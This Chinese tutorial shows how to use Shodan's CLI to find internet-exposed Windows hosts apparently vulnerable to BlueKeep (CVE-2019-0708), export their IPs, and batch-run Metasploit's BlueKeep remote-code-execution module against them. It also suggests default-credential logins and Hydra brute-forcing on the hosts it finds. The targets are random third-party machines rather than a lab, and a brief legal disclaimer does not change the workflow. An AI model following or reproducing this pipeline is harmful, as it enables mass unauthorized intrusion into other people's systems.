Shodan 进阶使用技巧:无高级会员如何搜索指定漏洞并进行批量验证
即便没有高级会员权限,通过发散思维和灵活的语法组合,我们仍然可以在 Shodan 上实现特定漏洞的设备筛查。此方法对于预算有限的小白用户尤其实用,为安全研究人员提供了更多的探索空间。通过 Shodan 和 Metasploit,可以在无高级权限的情况下,通过漏洞指纹精准查找并批量验证漏洞目标。需要注意的是,Shodan 搜索到的设备并不一定全部可被利用,需谨慎操作并在合法合规的前提下进行安全测试。
内容预览 ≧∀≦ゞ
Shodan进阶使用之批量查找并验证漏洞
声明
本笔记内容参考了B站UP主 泷羽sec 的学习视频,若涉及侵权将立即删除。本笔记旨在方便网络安全学习,任何不当使用均与作者无关,请勿逾越法律红线,后果自负。
导语
在没有 Shodan 高级会员权限的情况下,无法使用 vuln
参数直接查找存在漏洞的主机,但通过灵活的搜索组合,我们依然可以实现对特定漏洞的设备定位。本次示例中将以 CVE-2019-0708(BlueKeep)漏洞为例,介绍如何利用 Shodan 的搜索功能筛选受影响的设备,并结合强大的 Metasploit 框架(msf)进行批量验证,帮助更高效地识别网络中的高危资产。
Shodan 提供了丰富的查询功能,通过关键词、端口、操作系统、特征指纹等条件的组合使用,即使在没有高级权限的情况下,也可以实现接近漏洞扫描的效果。结合 Metasploit 的批量验证功能,我们不仅可以快速找到受影响的设备,还可以进一步确认这些设备是否存在可利用的漏洞,为网络安全研究和防护提供切实支持。
一、漏洞信息收集
要搜索特定漏洞,首先需要详细了解该漏洞的特征信息,提取出相关的指纹,以便构建精确的查询条件。通过搜索引擎、GPT、漏洞数据库等,我们可以提炼出 CVE-2019-0708 的以下关键特征:
- 漏洞描述:此漏洞存在于 Windows 的远程桌面服务(Remote Desktop Services)中。
- 端口特征:通常影响开启 3389 端口的设备。
- 操作系统特征:受影响的系统包括 Windows 7、Windows Server 2008 R2、Windows XP 等。
- 探测方法:可通过发送特定的 RDP 请求,检测是否有异常响应来指示潜在的漏洞。
- 特征字符串:“\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00”
二、构建 Shodan 搜索语句
结合漏洞特征和 Shodan 的搜索语法,接下来我们可以逐步构建查询条件,以实现有效的漏洞检测。
1. 指定端口
首先,限定端口为 3389,这是漏洞主要影响的端口:
port:3389
2. 指定操作系统
通过操作系统字段,我们可以筛选出 Windows 7 等受影响的系统:
os:"windows 7"
3. 指定漏洞条件
虽然无法直接使用 -vuln
参数,但我们可以结合 Shodan 提供的漏洞参数来进行条件组合:
has_vuln:true
4. 完整 Shodan 查询语句
综合以上条件,我们可以构造完整的 Shodan 查询命令:
shodan search --limit 10 --fields ip_str,port port:3389 os:"windows 7" has_vuln:true
此命令将返回包含指定漏洞的目标设备 IP 地址、端口等基本信息,并限制结果数量为 10 条。
除此之外,我们还可以将特征字符串作为搜索条件,查找可能存在 CVE-2019-0708 漏洞的主机:
shodan search --limit 10 --fields ip_str,port “\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00”
搜素结果如下:
三、验证目标设备的漏洞状态
对于筛选出的结果,进一步使用 shodan host
命令逐个验证目标 IP 的详细信息,以确认漏洞状态。
示例验证命令
shodan host <目标IP>
执行后,Shodan 将返回该 IP 设备的详细信息,包括操作系统、开放端口、服务等,便于我们判断是否存在 CVE-2019-0708 漏洞。
可以看到这个IP的网络设备全是漏洞,也确实存在CVE-2019-07081漏洞。
提示:该实验仅供学习参考,请勿违反网络安全法!
针对该漏洞,我们也可以先尝试 Windows 远程桌面连接,看看主机是否存活。如设备可正常连接,可尝试测试弱口令登录(Administrator
:Administrator
),也可以通过Hydra等工具进行爆破。
使用mstsc命令来唤出远程桌面连接界面。这是“microsoft terminal services client”的缩写。
四、 使用 Shodan 批量下载与解析漏洞数据
下载搜索结果
可以将 Shodan 查询的结果保存到文件中,便于批量解析和进一步分析。例如,将查找到的可能存在 CVE-2019-0708 漏洞的设备保存至名为 0708
的文件:
shodan download 0708 --limit 10 “\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00”
解析下载的数据
下载的文件为压缩格式,可以使用 shodan parse
命令解析出特定字段,并保存为文本文件。以下命令提取 IP 地址并保存到 0708.txt
中:
shodan parse --fields ip_str 0708.json.gz > 0708.txt
如需更多帮助,可使用 shodan parse -h
查看 parse
命令的详细帮助文档。
五、 使用 Metasploit 进行漏洞批量验证
Metasploit 是一款功能强大的安全工具,可批量检测目标设备是否存在指定漏洞。以下是使用 Metasploit 验证 CVE-2019-0708 的详细步骤。
1. 启动 Metasploit Console
在命令行中输入 msfconsole
进入 Metasploit 控制台,然后执行以下操作:
2. 搜索并使用漏洞模块
查找 CVE-2019-0708 漏洞的利用模块,并选择合适的模块:
search 0708
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
3. 设置选项
查看可配置参数并进行设置:
show options
- 将目标 IP 文件添加到
RHOSTS
参数中,例如拖入包含 IP 地址的文件:
set RHOSTS file:<目标IP文件路径>
- 使用
show targets
查看支持的操作系统,例如 Windows 7 和 Windows Server 2008 R2。设置TARGET
为匹配的目标系统:
set TARGET <目标系统编号>
4. 检查漏洞
在开始利用之前,使用 check
命令来验证目标是否存在漏洞,避免不必要的攻击:
check
提示:确保
payload
的 IP 地址和端口正确匹配,否则会导致漏洞利用失败。
出现[+]代表漏洞存在可利用,[*]代表不可利用或漏洞不存在。
如果漏洞利用不成功,说明shodan扫出来的设备已经修复了这个漏洞,而shodan数据库里有关这部分的记录信息没有更新。
总结
即便没有高级会员权限,通过发散思维和灵活的语法组合,我们仍然可以在 Shodan 上实现特定漏洞的设备筛查。此方法对于预算有限的小白用户尤其实用,为安全研究人员提供了更多的探索空间。
通过 Shodan 和 Metasploit,可以在无高级权限的情况下,通过漏洞指纹精准查找并批量验证漏洞目标。需要注意的是,Shodan 搜索到的设备并不一定全部可被利用,需谨慎操作并在合法合规的前提下进行安全测试。
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)